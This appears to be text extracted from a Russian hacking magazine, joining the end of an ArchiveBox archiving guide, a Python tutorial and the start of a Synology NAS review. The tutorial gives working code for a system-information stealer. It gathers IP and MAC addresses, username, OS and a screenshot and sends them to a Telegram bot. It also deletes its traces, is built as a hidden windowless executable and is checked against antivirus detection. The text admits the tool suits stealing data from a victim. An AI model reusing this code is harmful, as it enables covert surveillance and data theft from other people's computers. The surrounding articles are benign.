ArchiveBox  заар хивиро вал  глав ную  стра ницу  сай та  и  все  стра ницы,  ссыл ки
на которые при сутс тву ют на глав ной, мож но исполь зовать коман ду

‐
‐depth=N N

  1 $ archivebox add 'https://xakep.ru' ‐‐depth=

Пос коль ку мы архи виру ем сай ты на сер вер VPS, добычу нуж но пред варитель‐ 
но  ска чать  на  локаль ную машину  с  исполь зовани ем    или  любым  дру гим
удоб ным  спо собом.  Мож но,  нап ример,  уста новить  на  сер вере  vsftpd
и получить дос туп  к содер жимому архи вов по FTP непос редс твен но из бра‐ 
узе ра  либо  с  помощью  любого  FTP‐кли ента.  А  еще  мож но  под нять  там
Apache и перемес тить содер жимое архи вов в домаш нюю пап ку веб‐сер вера,
что бы прос матри вать их по HTTP.

scp

Со дер жимое архи ва, дос тупное по FTP

В резуль тате выпол нения коман ды   сайт сох раня ется вмес те
со всем содер жимым, вклю чая скрип ты, изоб ражения, CSS‐фай лы.

archivebox add

Ар хивный сайт, дос тупный локаль но пос ле заг рузки с сер вера

ArchiveBox исполь зует кон соль ную ути литу youtube‐dl для сох ранения видео,
бла года ря чему он может тянуть ролики с это го популяр ного виде охос тинга.
Для их ска чива ния исполь зует ся та же коман да, с помощью которой сох раня‐ 
ются все осталь ные сай ты:

адрес_страницы_видео_на_YouTube] $ archivebox add [

ПАКЕТНАЯ АРХИВАЦИЯ САЙТОВ
ArchiveBox так же поз воля ет ска чивать нес коль ко сай тов по спис ку, задан ному
в  тек сто вом  фай ле.  Что бы  исполь зовать  эту  воз можность,  соз дай  прос той
тек сто вый файл, нап ример с име нем  , и запиши в нем адре са сай‐ 
тов, которые хочешь ска чать, — каж дый адрес с новой стро ки. На уда лен ном
сер вере это мож но сде лать с помощью редак тора nano:

urls.txt

nano urls.txt 

За тем оста нет ся лишь «скор мить» этот файл архи вато ру:

urls.txt | archivebox add $ cat 

Есть у ArchiveBox еще одна воз можность: если импорти ровать зак ладки бра‐ 
узе ра  в  HTML‐файл,  а  потом  заг рузить  его  на  сер вер  (при  исполь зовании
ArchiveBox на локаль ной машине с линук сом это го не пот ребу ется), то такой
файл тоже может слу жить спис ком URL для архи вации. В этом слу чае нуж но
исполь зовать сле дующую коман ду:

путь_к_файлу]/bookmarks.html $ archivebox add [

ВЫВОДЫ
В  качес тве  инс тру мен та  для  копиро вания  интернет‐кон тента  ArchiveBox
доволь но удо бен. С его помощью мож но сох ранять как отдель ные стра ницы,
так  и  целые  раз делы  сай тов  для  пос леду юще го  изу чения  на  локаль ной
машине  или  на  вир туаль ном  сер вере,  выпол нять  пакет ную  архи вацию,  а  с
помощью   — копиро вать кон тент из сети по рас писанию.cron

Бе зус ловно,  наибо лее  ком фор тно исполь зовать ArchiveBox  на  локаль ной
машине с Linux или macOS, но за неиме нием таковых сой дет и вир туаль ный
сер вер.  ArchiveBox  все  еще  находит ся  в  ста дии  раз работ ки  и  неп рерыв но
раз вива ется, поэто му уже в недале ком будущем в его сос таве могут появить‐ 
ся новые фун кции и воз можнос ти. За обновле ниями мож но сле дить на 

.
стра‐ 

нич ке ArchiveBox на GitHub

mailto:market@ruvds.com
http://web.archive.org/
https://github.com/ArchiveBox/ArchiveBox/
http://web.archive.org/
https://ruvds.com/ru-rub
https://ruvds.com/ru-rub
https://github.com/ArchiveBox/ArchiveBox/wiki/Docker
https://github.com/pirate/ArchiveBox/wiki/Quickstart
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КОДИНГ

Ес ли ты час то име ешь дело с раз ными компь юте рами, тебе,
конеч но, нужен прос той в исполь зовании и быс трый инс тру‐ 
мент  для  сбо ра  информа ции  о  сис теме.  Сегод ня  мы
покажем,  как  сде лать  такую  прог рамму,  отсы лающую  соб‐ 
ранные  дан ные  в  Telegram,  а  еще  поп ракти куем ся  в  прог‐ 
рамми рова нии на Python.

Что бы прос то пос мотреть  IP‐адрес и дру гие нас трой ки  сети,  тебе при дет ся
обра тить ся к  коман дной стро ке и выпол нить коман ду  . Ситу‐ 
ация  одна  из  самых  час тых  для  эни кей щиков  и  уда лен ных шаманов,  но  она
хотя  бы  быс тро  реша ема.  Но  если  при дет ся  собирать  более  серь езный
набор  информа ции  о  машине,  с  которой  сей час  будешь  работать,  —
без авто мати зации не обой тись. Этим мы сегод ня и зай мем ся.

ipconfig /all

Имей в виду, что эта прог рамма может исполь зовать ся как для быс тро го
сбо ра  информа ции  о  сво ей  сис теме,  так  и  для  кра жи  иден тифици рующей
информа ции с компь юте ра жер твы. Мы граж дане законо пос лушные, поэто му
пусть это и не пароли, но, что бы не раз дра жать пра воох раните лей, все тес ты
будут про водить ся на изо лиро ван ных вир туаль ных машинах.

WARNING

Не сан кци они рован ный  дос туп  к  компь ютер ной
информа ции — прес тупле ние. Ни автор, ни редак‐ 
ция  жур нала  не  несут  ответс твен ности  за  твои
дей ствия.

ИНСТРУМЕНТЫ
Сна чала давай раз берем ся, где будем писать код. Мож но кодить в обыч ном
вин довом  «Блок ноте»,  но мы вос поль зуем ся  спе циаль ной  IDE для Python —

.  Уста нов ка  и  нас трой ка  прос ты  как  два  руб ля:  ска чал  уста нов щик,
запус тил — и кли кай себе «Далее», пока есть такая кноп ка.
PyCharm

Еще нам пот ребу ется  . Я буду исполь зовать вер сию   — с ней
точ но все работа ет.

Python 3.9.0

ЗАДАЧИ
Да вай  сна чала  обри суем,  что  мы  вооб ще  пла ниру ем  делать.  Я  пла нирую
собирать сле дующую информа цию:
1. IP‐адрес.
2. MAC‐адрес.
3. Имя поль зовате ля.
4. Тип опе раци онной сис темы.
5. Ско рость работы сис темы.
6. Вре мя.
7. Скрин шот.
8. Ско рость интернет‐соеди нения.
9. Мо дель про цес сора.

И отправ лять ся это все будет пря миком тебе в телегу через спе циаль ный бот.

Зачем?
На вер няка  у  тебя  воз ник  воп рос:  зачем  может  понадо бить ся  MAC‐адрес
или модель про цес сора? Эти парамет ры меня ются очень и очень ред ко, так
что прек расно под ходят для фин гер прин тинга. Даже если поль зователь купит
более быс трый интернет‐канал или поменя ет часовой пояс,  ты без осо бого
тру да  смо жешь опре делить,  что  уже  имел  дело  с  этим  компь юте ром. Сто ит
пом нить,  что  ров но  такие  же  методы  исполь зуют  хит рые  рек ламщи ки
для  иден тифика ции  поль зовате лей,  да  и  раз работ чики  три аль ных  вер сий
прог рамм  тоже.  Эта  статья  поможет  чуть  луч ше  понять,  что  мож но  узнать
о  тво ем компь юте ре в пол ностью авто мати чес ком режиме, а  как при менить
эту информа цию — решать толь ко тебе.

В  этой  статье  мы  не  будем  показы вать,  как  сфор мировать  устой чивый
к нез начитель ным изме нени ям иден тифика тор, который поможет однознач но
опре делить  кон крет ный  компь ютер.  Если  тебе  ста нет  инте рес но  —  пиши
в ком мента риях, и, воз можно, мы сде лаем боль шой гайд на эту тему!

СОЗДАЕМ ОСНОВУ ПРОГРАММЫ
Для отправ ки дан ных я решил вос поль зовать ся Telegram‐ботом. Соз дать его
ты можешь  через  ,  а  пос ле  сох ранить  token  тво его  тво рения.  Пуб‐ 
ликовать его нель зя — любой, кто получит этот токен, смо жет зах ватить кон‐ 
троль над тво им ботом.

BotFather

Для под клю чения к Bot API «телеги» нуж ны все го две строч ки:

 import telebot

      bot = telebot.TeleBot("token from BotFather") # Подключение бота

Что бы оце нить быс тро дей ствие, мож но написать еще пару строк. Весь даль‐ 
нейший  код  рас положим  меж ду  ними.  Опи сан ное  выше  под клю чение  бота
уже впи сано сюда.

 import telebot
     from datetime import datetime

   bot = telebot.TeleBot("token")

      start = datetime.now() # Начало отсчета

# Сюда поместим нашу основу, поэтому оставляем место

       ends = datetime.now() # Конец отсчета
            workspeed = format(ends ‐ start) # Вычисление времени

Те перь перей дем собс твен но к сбо ру дан ных.

СБОР ДАННЫХ
Я  не  буду  дол го  ходить  вок руг  да  око ло  и  сра зу  нач ну  раз бирать  сек цию
импорта.

 import getpass
 import os
 import socket

     from datetime import datetime
         from uuid import getnode as get_mac

 import pyautogui
     from speedtest import Speedtest

 import telebot
 import psutil
 import platform

     from PIL import Image

Те перь  крат ко  рас смот рим,  что  дела ет  каж дый  модуль.  Если  какие‐то  фун‐ 
кции тебе не нуж ны, выб роси стро ку импорта модуля и код, который исполь‐ 
зует этот модуль. Все прос то!

Итак,  за  работу  с  ОС  и  локаль ными  ресур сами  отве чают  эти  четыре
модуля:

 нужен для опре деле ния информа ции о поль зовате ле;• getpass

 исполь зуем для вза имо дей ствия с фун кци ями ОС, вро де вызова внеш‐ 
них исполня емых фай лов;

• os

  работа ет  с  некото рыми  низ коуров невыми  сис темны ми  фун кци‐ 
ями;

• psutil

 пре дос тавит информа цию об ОС.• platform

Эти ми модуля ми реали зова ны сетевые вза имо дей ствия:
 — для работы с сокета ми и получе ния IP‐адре сов;• socket

 получа ет MAC‐адрес машины;• getnode

 замеря ет харак терис тики интернет‐соеди нения;• speedtest

 сде лает всю рутину по работе с Telegram‐ботом.• telebot

Слу жеб ные при моч ки, которые труд но отнести к катего риям выше:
 поз волит опре делить вре мя работы прог раммы;• datetime

   работа ет с GUI;• pyautogui быс тро и без боли
 — для сня тия скрин шота.• PIL.Image

Пос ле это го нам тре бует ся узнать основные ста биль ные харак терис тики сис‐ 
темы: IP‐ и MAC‐адре са, имя поль зовате ля и ОС:

        name = getpass.getuser() # Имя пользователя
       ip = socket.gethostbyname(socket.getfqdn()) # IP‐адрес системы
       mac = get_mac() # MAC адрес
        ost = platform.uname() # Название операционной системы

Стро ки кода снаб жены ком мента риями и в пояс нени ях не нуж дают ся.

Скорость интернет-соединения
       from speedtest import Speedtest # Импорт модуля. Рассматривался выше

   inet = Speedtest()
         download = float(str(inet.download())[0:2] + "." # Входящая скорость

                      + str(round(inet.download(), 2))[1]) * 0.125
           uploads = float(str(inet.upload())[0:2] + "." # Исходящая скорость

                      + str(round(inet.download(), 2))[1]) * 0.125

Ско рость замеря ется биб лиоте кой сер виса Speedtest.net и, соот ветс твен но,
выда ет  резуль тат  в  мегаби тах,  а  не  мегабай тах.  Что бы  это  испра вить,  раз‐ 
делим чис ленный резуль тат на 8 или умно жим на 0,125 — это одно и то же.
Манипу ляцию про делы ваем дваж ды — для вхо дящей и исхо дящей ско рос ти.

Важ но  понимать,  что  замер  не  пре тен дует  на  свер хточ ность,  потому  что
мы никак не можем лег ко про верить, какую часть канала пот ребля ют дру гие
прог раммы  или  даже  дру гие  устрой ства  в  сети.  Если  ты  под клю чил ся
к рабочей стан ции уда лен но, твое соеди нение тоже что‐то будет пот реблять.
В прог рамме поп равка на это не реали зова на из‐за ее слиш ком низ кой точ‐ 
ности и тру доем кости.

Часовой пояс и время
 import psutil

       zone = psutil.boot_time() # Узнает время, заданное на компьютере
       time = datetime.fromtimestamp(zone) # Переводит данные в читаемый 

вид

Ес ли  ты  нас тра иваешь  чей‐то  сер вер  или  слиш ком  уда лен ный  компь ютер,
вре мя  может  отли чать ся.  Ко  всем  про чим  дан ным  добавим  и  показа ния
часов — информа ция лиш ней не быва ет. Если ты не знал, неп равиль но выс‐ 
тавлен ное вре мя и/или часовой пояс может вызывать сбои при под клю чении
к сай там, исполь зующим HTTPS, а этот кусочек кода поз волит лег ко выявить
такие проб лемы.

Частота процессора
 import psutil

   cpu = psutil.cpu_freq()

Мо жет помочь выявить при чину тор мозну тос ти компь юте ра: если про цес сор
пос тоян но молотит  на  пол ную,  но  прог раммы  вис нут — про цес сор  уста рел,
а  если  прос таивает —  винова та  прог рамма.  Да  и  прос то  общее  пред став‐ 
ление о железе дает.

Более глубокий фингерпринтинг
В  этой  статье  умыш ленно  не  рас ска зыва ется,  как  получить  иден тифика тор
жес тко го дис ка или GUID уста нов ленной Windows: мы не методич ку для рек‐ 
ламщи ков  пишем,  а  прог рамми ровать  тре ниру емся.  Тем  не менее  ты  лег ко
можешь добавить сбор и такой информа ции, вос поль зовав шись кон соль ной
ути литой  . Ее вывод мож но пар сить с помощью Python‐скрип та,  так  что
даже не при дет ся писать лиш ние обвязки. На скрин шоте при мер получе ния
серий ного номера BIOS.

wmic

Скриншот рабочего стола
os.getcwd()

    try: # Перехват ошибки в случае неверно указанного расположения
   os.chdir(r"/temp/path")

 except OSError:
   @bot.message_handler(commands=['start'])
       def start_message(message): # Служебная обвязка для бота

        bot.send_message(message.chat.id, "[Error]: Location not 
found!")
       bot.stop_polling()

   bot.polling()
     raise SystemExit

     screen = pyautogui.screenshot("screenshot.jpg") # Снятие скриншота

Тут все  тоже мак сималь но прос то, а  за собс твен но сня тие скрин шота отве‐ 
чает  толь ко  пос ледняя  стро ка  кода.  Осталь ное  мы  исполь зуем  для  кор рек‐ 
тной обра бот ки вхо дящей коман ды бота.

ЗАПИСЬ В ФАЙЛ
Те перь,  ког да  все  готово,  мы  можем  прис тупать  к  финаль ному  сбо ру
и отправ ке дан ных. Соз даем готовый файл с нашими дан ными: если исполь‐ 
зовал ся  мак сималь ный  сбор  информа ции,  а  точ нее  весь  код  выше,  то
исполь зуем такую запись, в про тив ном слу чае уби рай ненуж ные тебе дан ные:

 try: # Обвязка для обработки команд боту
   os.chdir(r"/temp/path")

 except OSError:
   @bot.message_handler(commands=['start'])
     def start_message(message):

        bot.send_message(message.chat.id, "[Error]: Location not 
found!")
       bot.stop_polling()

   bot.polling()
     raise SystemExit

       file = open("info.txt", "w") # Открываем файл

 

file.write(f"[================================================]\n  
Operating System: {ost.system}\n  Processor: {ost.processor}\n  
Username: {name}\n  IP adress: {ip}\n  MAC adress: {mac}\n  Timezone:
{time.year}/{time.month}/{time.day} {time.hour}:{time.minute}:{time.

second}\n  Work speed: {workspeed}\n  Download: {download} MB/s\n  
Upload: {uploads} MB/s\n  Max Frequency: {cpu.max:.2f} Mhz\n  Min 
Frequency: {cpu.min:.2f} Mhz\n  Current Frequency: {cpu.current:.2f} 
Mhz\n[================================================]\n") # Пишем

 file.close() # Закрываем

Длин ный, но лег ко чита емый код. Пер вая его часть обес печива ет обра бот ку
коман ды  ,  вто рая —  запись  всех  дан ных  в  файл.  Резуль тат  попадет
в  , но путь, конеч но, мож но изме нить пря мо в коде.

/start
info.txt
Де ло оста ется за малым — отпра вить резуль тат в Telegram.

ОТПРАВКА ДАННЫХ
Те перь допол ним код выше, что бы он еще и фай лы отправ лял.

       text = "Screenshot" # Требуется при создании скриншота (текст к 
фото)

    @bot.message_handler(commands=['start']) # Выполняет действия при 
команде start

 def start_message(message):
              upfile = open("Путь до файла\info.txt", "rb") # Читает файлы
         uphoto = open("Путь до файла\screenshot.jpg", "rb")
           bot.send_photo(message.chat.id, uphoto, text) # Отправляет 
данные
     bot.send_document(message.chat.id, upfile)

        upfile.close() # Закрывает файлы (обязательно)
   uphoto.close()

       os.remove("info.txt") # Удаляет файлы, чтобы не оставлять следы
   os.remove("screenshot.jpg")

        bot.stop_polling() # Закрывает соединение после отправки

    bot.polling() # Создает соединение с ботом

Сна чала ука зыва ется под пись к скрин шоту, потом чита ем и отправ ляем фай‐ 
лы в виде фото и докумен та, затем зачища ем сле ды и зак рыва ем соеди нение
с ботом. Ничего слож ного!

Ес тес твен но,  если  нам  не  нужен,  к  при меру,  скрин шот,  мы  можем
вырезать код его отправ ки, получив такой вари ант:

@bot.message_handler(commands=['start'])
 def start_message(message):

         upfile = open("Путь до файла\info.txt", "rb")
     bot.send_document(message.chat.id, upfile)
   upfile.close()
   os.remove("info.txt")
   bot.stop_polling()

bot.polling()

INFO

Что бы  бот  гаран тирован но  отправ лял  все  сооб‐ 
щения  тебе,  ука жи  вмес то 
ID чата с собой. Его мож но узнать через 

.

message.chat.id
бот Get‐

MyID

Так же  сле дует  учесть  одну  деталь:  перед  запус ком  прог раммы  ты  дол жен
отпра вить сво ему боту коман ду  , что бы он понял, кому сле дует отправ‐ 
лять дан ные.

/start

СОБИРАЕМ ПРОГРАММУ
Что бы  не  тянуть  с  собой  на  дру гой  компь ютер  Python  и  зависи мос ти  прог‐ 
раммы,  давай  упа куем  все  в  один  исполня емый  фай лик.  Дела ется  это  с
помощью PyInstaller, который ста вит ся прос той коман дой 

.
pip install pyin‐

staller
Пе рехо дим  с  помощью  коман дной  стро ки  в  пап ку  с  нашей  прог раммой

и собира ем ее коман дой

 наш_файл.py pyinstaller ‐i путь_до_иконки ‐‐onefile

Ар гумент   зас тавит PyInstaller упа ковать все в единс твен ный файл.
Пос ле   надо ука зать путь до икон ки исполня емо го фай ла, если ты хочешь
ее исполь зовать. Если она не нуж на, прос то уда ли этот аргу мент. Пос ледним
идет путь к фай лу с нашим кодом. Если ты не хочешь, что бы при запус ке появ‐ 
лялась кон соль (нап ример, если вла делец компь юте ра не зна ет, что ты соб‐ 
рался ему помочь :D), поменяй рас ширение вход ного фай ла с кодом на 
или ука жи опцию  .

‐‐onefile
‐i

.pyw
‐w

Не забывай про верять наличие модулей и их обновле ний, что бы избе жать
оши бок. Вре мен ный путь мож но ука зать любой, но лич но я ука зываю  .
Само собой,  если обна руже на ОС на базе  Linux,  то  этот  код при дет ся  поп‐ 
равить.

C:\Temp

Еще  сле дует  про верить,  как  силь но  и  чем  детек тится  наш  файл.  Что бы
тебе не лезть на VirusTotal, я сде лал это сам.

Ре зуль тат ска ниро вания на VirusTotal

WWW

Пол ный  код  про екта  я  раз местил  на  .  Там
есть и прог рамма‐сбор щик, о которой я рас ска жу
ниже.

GitHub

ПИШЕМ СБОРЩИК С ГРАФИЧЕСКИМ ИНТЕРФЕЙСОМ
Для соз дания GUI сбор щика нам при дет ся работать с биб лиоте кой  ,
поэто му преж де все го импорти руем ее и нуж ные эле мен ты:

Tkinter

# ‐*‐ coding: utf‐8 ‐*‐     # Не забываем указывать конфигурацию
           from tkinter import * # Сама библиотека для работы
               from tkinter import messagebox as mb # Функция для создания окон 

с информацией

Пос ле это го нуж но соз дать окно, которое и будет осно вой интерфей са:

   root = Tk()
   root.title("Tkinter") # Название программы

    root.geometry("300x400") # Разрешение окна программы

Нам  нужен  толь ко  ввод  API‐клю ча  для  дос тупа  к  боту.  Дела ется  такой  ввод
кодом ниже:

         text = Label(root, text="Telegram bot token") # Текст для 
обозначения поля

     text.grid(padx=100, pady=0) # Расположение по x/y

         API = Entry(root, width=20) # Создание поля ввода данных
 API.grid(padx=100, pady=0)

Это соз даст два гра фичес ких объ екта — поле вво да и под пись к нему.
В этом интерфей се не хва тает кноп ки для сбор ки выход ного фай ла. Давай

соз дадим ее:

           button = Button(root, text="Create", command=clicked, height=2, width
=10)

 button.grid(padx=100, pady=0)

Соз даем фун кцию, которая дол жна находить ся в фай ле пос ле импорта биб‐ 
лиотек. В ней мы дол жны соз давать файл и записы вать в него код полез ной
наг рузки.

 def clicked():
         system = open("source.py", "w")
   system.write('''
# Сюда перемещаем полный код программы, которую мы писали раньше
''')

system.close()

WARNING

Не  шути  с  про бела ми!  Перед  тем  как  встав лять
код, убе дись, что там нет лиш них про белов, ина‐ 
че может  воз никнуть  труд но обна ружи мая ошиб‐ 
ка.

Но на этом наша фун кция не закан чива ется, так как нуж но дать поль зовате лю
понять, готов ли файл. Дела ем это с помощью MessageBox:

         if API.get() or direct.get() == "":
    mb.showwarning("WARNING", "There are empty fields")
else:
    mb.showinfo("INFO", "The system.py file is ready!")

Те перь оста лось толь ко запус тить отри сов ку и обра бот ку сооб щений стро кой
.root.mainloop()

Оп циональ но мож но соб рать и сбо роч ный интерфейс. Для это го исполь‐ 
зуем ста рый доб рый PyInstaller:

     программа.py pyinstaller ‐F ‐w ‐‐onefile

И все готово! Теперь ты име ешь пол ноцен ную прог рамму для сбо ра дан ных
о сис теме и ее сбор щик, который уско рит про цесс работы.

Каж дый раз при бегать к PyInstaller, что бы соб рать прог рамму, не слиш ком
удоб но. Мож но вос поль зовать ся модулем   и вызывать PyInstaller авто мати‐ 
чес ки.

os

 import os

 os.system("pyinstaller ‐‐onefile наш_файл.py") # Сборка выходного 
бинарника

os.rmdir("build")
os.rmdir("__pycache__")

os.remove("system.py")
os.remove("system.spec")

Ес ли тебе понадо билась икон ка, мож но добавить в коман ду сбор ки параметр
,  а  для  сбор ки  «невиди мой»  прог раммы  дописать   —  ров но

как при руч ной сбор ке!
‐i  file.ico ‐w

ВЫВОД
В  этой  статье  мы  разоб рали  от  начала  и  до  кон ца,  как  вытащить  из  сво ей
или чужой сис темы некото рые важ ные дан ные — от IP до модели про цес сора.
Конеч но, глав ное тут в том, что ты научил ся хоть нем ного писать код самос‐ 
тоятель но —  а  при менить  всег да  куда‐нибудь  получит ся.  Если  заин тересо‐ 
вал ся  прог рамми рова нием  на  Python —  почитай    о  написа нии
прос того  вируса,  она  ста нет  отличным  зак репле нием  навыков  прог рамми‐ 
рова ния. Успе хов!

на шу  статью

mailto:vlad.klintov@mail.ru
https://www.jetbrains.com/ru-ru/pycharm/download/
https://www.python.org/downloads/
https://t.me/BotFather
https://t.me/getmyid_bot
https://github.com/NeoCreat0r/infocat
https://xakep.ru/2020/05/22/python-malware/
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В наши руки попала любопыт ная новин ка — модель сетево го
накопи теля Synology DS1621+ с про цес сором AMD Ryzen, а с
ней 10‐гигабит ная сетевая кар та и две пары спе циали зиро‐ 
ван ных SSD от Synology. Мы прог нали устрой ство через все
типич ные  сце нарии  исполь зования,  про вери ли,  нас коль ко
быс тро работа ет 10‐гигабит ный линк с обыч ными жес тки ми
дис ками, и даже уста нови ли на устрой ство Windows 10.

Ком пания Synology извес тна сетевы ми накопи теля ми, зас лужив шими репута‐ 
цию надеж ных и хорошо опти мизи рован ных устрой ств. При этом даже фанаты
NAS  от  Synology  вынуж дены  сог ласить ся  с  тем,  что  опти мизи ровать  нуж но
не  толь ко  ско рость  работы  устрой ства  и  плав ность  интерфей са,  но  и  аппа‐ 
рат ное обес печение  устрой ств,  исполь зуемые матери алы и  эле мен ты  конс‐ 
трук ции.  Ины ми  сло вами,  в  акту аль ной  линей ке  «плю совых»
моделей 2020 года вплоть до   вклю читель но NAS от Synology осна‐ 
щают ся про цес сорами Celeron, их кор пуса выпол нены из плас тика, опе ратив‐ 
ная память час тично рас паяна, а в качес тве сетевых интерфей сов пред лага‐ 
ются исклю читель но гигабит ные лин ки.

DS1520+

Ге рой  сегод няшне го  обзо ра  —  модель    —  не  толь ко
при ятное исклю чение из пра вила, но и пер вый NAS от Synology для обыч ных
поль зовате лей и энту зиас тов, обо рудо ван ный про цес сором наконец‐то дос‐ 
таточ ной  мощ ности,  да  еще  и  не  при выч ным  Intel,  а  AMD  Ryzen.  Отличная
опти миза ция  ско рос ти  работы  никуда  не  делась,  а  вот  попыт ки  сэконо мить
на  осна щении  устрой ства  в  гла за  не  бро сают ся:  раз борный метал личес кий
кор пус, смен ные вен тилято ры, встро енный блок питания и воз можнос ти рас‐ 
ширения могут порадо вать самых изба лован ных поль зовате лей.

Synology  DS1621+

НЕ ВЕРЬ ГЛАЗАМ СВОИМ
Се тевое хра нили ще — не та вещь, которую мож но пощупать в магази не. Все,
что  дос тупно обыч ному  поль зовате лю, — это опи сания  и  кар тинки  на  сай те
магази на и в обзо рах. Одна ко читать обзо ры при ходит ся очень вни матель но:
обоз ревате ли ред ко заос тря ют вни мание на осо бен ностях сбор ки и исполь‐ 
зуемых  матери алах.  Устрой ство  работа ет?  Не  вызыва ет  желания  нак рыть
вязаной сал феткой? Зна чит, все хорошо.

И тем не менее имен но на этом момен те я хочу оста новить ся под робнее,
в  пер вую оче редь  для  тех,  кто  име ет  опыт  исполь зования  таких моделей  «с
плю сом»,  как DS220+,  ,  и  тех,  что меж ду  ними,  а  так же  популяр ных
моделей прош лого поколе ния — к при меру, DS418play, DS918+ или DS1019+.

DS1520+

На кар тинках устрой ства похожи: раз ница раз ве что в фор ме лот ков.

DS1520+

DS1621+

Од нако,  нес мотря  на  при над лежность  к  одно му  клас су, фак тичес ки  кор пуса
устрой ств совер шенно раз ные. В модели DS1520+ (и боль шинс тве млад ших
моделей) кожух выпол нен из плас тика, при чем из него же час то изго тав лива‐ 
ется и зад няя стен ка устрой ства. Плас тик качес твен ный, но по моему лич ному
опы ту —  черес чур  «звон кий»:  если  гул  жес тких  дис ков  еще мож но  дем пфи‐ 
ровать, то треск головок в плас тиковых кор пусах, нап ротив, замет но уси лива‐ 
ется. Метал личес кий кор пус DS1621+ замет но луч ше справ ляет ся со зву ком
работы дис ков, что дос таточ но акту аль но с уче том количес тва дос тупных сло‐ 
тов.  Отме чу,  что  некото рые  модели  дис ков  работа ют  тише  дру гих,  но  один
и тот же набор дис ков в кор пусах с плас тиковы ми и метал личес кими кожуха ми
будет зву чать по‐раз ному. Наконец, DS1621+ мож но разоб рать — нап ример,
что бы добавить кар ту рас ширения в слот PCIe.

Ма тери ала ми кор пуса, одна ко, раз ница меж ду DS1621+ и млад шими моделя‐ 
ми не огра ничи вает ся. DS1621+ осна щает ся впол не «взрос лым» встро енным
бло ком  питания  на  250  Вт,  при чем  неп лохим:  про изводс тва  Delta  Electronic
с  «брон зовым»  сер тифика том  80  Plus.  Ста тис тика  неумо лима:  надеж ность
и  дол говеч ность  встро енных  бло ков  питания  замет но  пре вос ходят  харак‐ 
терис тики внеш них адап теров.

ПРОЦЕССОР И ПАМЯТЬ
DS1621+  осна щена  про цес сором  AMD  Ryzen  Embedded  V1500B.  Выпущен‐ 
ный в декаб ре 2018 года, этот про цес сор осно ван на мик роар хитек туре AMD
Zen пер вого поколе ния и про изво дит ся по тех нологи чес кому про цес су 14 нм.
Четыре  физичес ких  ядра  работа ют  с  восемью  потока ми.  Базовая  час‐ 
тота 2,2 ГГц, TDP — 16 Вт. (В скоб ках: TDP это го про цес сора может нас тра‐ 
ивать ся  в  пре делах  от  12  до  35  Вт;  точ ной  информа ции  о  TDP  Synology
не пуб лику ет.)

В  качес тве  опе ратив ной  памяти  нам  пред лага ется  единс твен ный модуль
DDR4 SODIMM с ECC на 4 Гбайт, занима ющий один из двух дос тупных сло‐ 
тов. Забегая впе ред, ска жу, что устрой ство под держи вает как модули с ECC
и без, так и их ком бинацию, вплоть до сум марно го объ ема 32 Гбайт.

Для некото рых может ока зать ся важ ным сле дующий момент: CPU от AMD
не  под держи вают  тех нологию  Intel  QuickSync,  которая  дела ет  воз можным
аппа рат ное  уско рение  тран ско диро вания  виде опо токов  (нап ример,  в  Plex).
Это зна чит, что, если у тебя нет ни NVIDIA Shield, ни Apple TV, ни Amazon Fire
TV,  ни  умно го  телеви зора,  ни  даже  какого‐нибудь  китай ско го  Android  TV,
выпущен ного в пос ледние нес коль ко лет, тебе может пот ребовать ся на лету
переко диро вать  виде опо ток  для  того,  что бы  видео мож но было прос матри‐ 
вать. Кро ме того, тран ско диро вание поз воля ет на лету понижать раз решение
виде опо тока  для  уда лен ного  прос мотра  видео  с  NAS,  нап ример  на  экра не
смар тфо на через мобиль ную сеть.

Я  мно го  слы шал  о  полез ности  этой  тех нологии,  но  пока  не  встре чал
ни  одно го  челове ка,  который  ее  при менял  бы.  Если  ты  вов сю  исполь зуешь
Plex  с  тран ско диро вани ем  видео,  то  DS1621+  смо жет  парал лель но  переко‐ 
диро вать  один‐два  потока  с  раз решени ем  Full  HD,  не  боль ше.  В  этом  сце‐ 
нарии поможет модель с Intel QuickSync — или покуп ка прис тавки для телеви‐ 
зора, которая смо жет кор рек тно вос про изво дить видео в исходном фор мате
без переко диро вания.

СИСТЕМА ОХЛАЖДЕНИЯ: ШУМ И ЭФФЕКТИВНОСТЬ
Ак тивная сис тема охлажде ния — то, с чем при ходит ся стал кивать ся пос тоян‐ 
но.  Количес тво  вен тилято ров  в  окру жающих  нас  устрой ствах  заш калива ет,
а их сум марный шум может вый ти за рам ки разум ного. И если в собс твен ном
пер сональ ном  компь юте ре  соз дание  бес шумной  и  эффектив ной  сис темы
охлажде ния  —  пред мет  гор дости  сбор щиков‐энту зиас тов,  то  в  готовых
сетевых  хра нили щах  при ходит ся  мирить ся  с  ком про мис сами,  выб ранны ми
про изво дите лем.

Мой порядок при ори тетов — бес шумность, эффектив ность и толь ко потом
цена сис темы охлажде ния. А вот NAS от Synology нас тро ены ина че. В пер вую
оче редь  устрой ство заботит ся об эффектив ности охлажде ния и лишь потом
об  уров не шума. Сис тема не стес няет ся повышать ско рость  вра щения  вен‐ 
тилято ров  при  дос тижении  дис ками  тем перату ры  в  42  гра дуса,  но  даже
на самой пер вой ско рос ти шум вен тилято ров хорошо слыш но.

Для  охлажде ния шес ти  дис ков  в  DS1621+  исполь зует ся  два  вен тилято ра
с  при выч ным  по  дру гим  устрой ствам  Synology  раз мером  92  мм.  Одна ко
и  здесь  новин ка:  на  самом деле  вен тилято ры  новые,  с  4‐пиновым  управле‐ 
нием широт но‐импуль сной модуля цией PWM  (ранее  в  устрой ствах Synology
мне попада лись исклю читель но 3‐пиновые вен тилято ры, ско рость вра щения
которых  регули рова лась  нап ряжени ем).  В  дос тоинс тва  новых  вен тилято ров
мож но  записать  высокую  мак сималь ную  ско рость  вра щения.  В  минусы  —
шумовые харак терис тики.

При запус ке устрой ства вен тилято ры рас кру чива ются на всю катуш ку; пос‐ 
ле  заг рузки шум  сти хает,  но  дей стви тель но  бес шумным  устрой ство  не  наз‐ 
вать при всем желании: звук вен тилято ров хорошо слы шен на дру гом кон це
ком наты.

Нас коль ко  эффектив но  работа ет  охлажде ние?  Бла года ря  высокой  мак‐ 
сималь ной ско рос ти вра щения вен тилято ров с PWM — дос таточ но эффектив‐ 
но.  Мы  про тес тирова ли  устрой ство  в  ком бинации  с  нес коль кими  дис ками,
и вот резуль тат.

Тем перату ра  в  ком нате  +23  гра дуса  Цель сия.  Дис ки  Seagate  IronWolf
и  SkyHawk  на  8  и  6  Тбайт.  Дис ки  атмосфер ные,  ско рость  вра щения  шпин‐ 
деля — 7200 обо ротов в минуту. На сегод няшний день ничего замет но более
«горяче го» не про изво дит ся. К сожале нию.

Че рез пол часа прос тоя дис ки наг релись до 37–39 гра дусов.

